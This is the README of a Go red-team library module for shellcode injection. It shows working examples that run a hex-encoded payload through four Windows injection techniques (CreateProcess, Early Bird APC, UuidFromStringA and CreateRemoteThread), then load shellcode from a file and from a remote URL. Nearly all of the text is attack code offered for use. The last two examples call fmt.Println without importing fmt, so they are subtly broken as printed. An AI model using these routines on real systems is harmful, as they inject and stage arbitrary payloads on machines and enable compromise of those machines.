shellcode

Shellcode Examples

• This package provides useful functions to help red teamers with shellcode injection

* Have in mind that a lot of errors have not been handled in shellcode injection techniques because they usually throws false errors. However it should work as expected

All Shellcode Injection Techniques

package main

import (
  "log"
  "encoding/hex"

  "github.com/D3Ext/maldev/shellcode"
)

func main(){
  calc_shellcode, _ := hex.DecodeString("505152535657556A605A6863616C6354594883EC2865488B32488B7618488B761048AD488B30488B7E3003573C8B5C17288B741F204801FE8B541F240FB72C178D5202AD813C0757696E4575EF8B741F1C4801FE8B34AE4801F799FFD74883C4305D5F5E5B5A5958C3")

  err := shellcode.CreateProcess(calc_shellcode)
  if err != nil {
    log.Fatal(err)
  }

  err = shellcode.EarlyBirdApc(calc_shellcode)
  if err != nil {
    log.Fatal(err)
  }

  err = shellcode.UuidFromStringA(calc_shellcode)
  if err != nil {
    log.Fatal(err)
  }

  err = shellcode.CreateRemoteThread(calc_shellcode)
  if err != nil {
    log.Fatal(err)
  }
}

Get shellcode from file

package main

import (
  "log"

  "github.com/D3Ext/maldev/shellcode"
)

func main(){
  shellcode_to_exec, err := shellcode.GetShellcodeFromFile("./shellcode.bin")
  if err != nil {
    log.Fatal(err)
  }
  fmt.Println(shellcode_to_exec)
}

Get shellcode from remote url

package main

import (
  "log"

  "github.com/D3Ext/maldev/shellcode"
)

func main(){
  shellcode_to_exec, err := shellcode.GetShellcodeFromUrl("http://192.168.1.6/shellcode.bin")
  if err != nil {
    log.Fatal(err)
  }
  fmt.Println(shellcode_to_exec)
}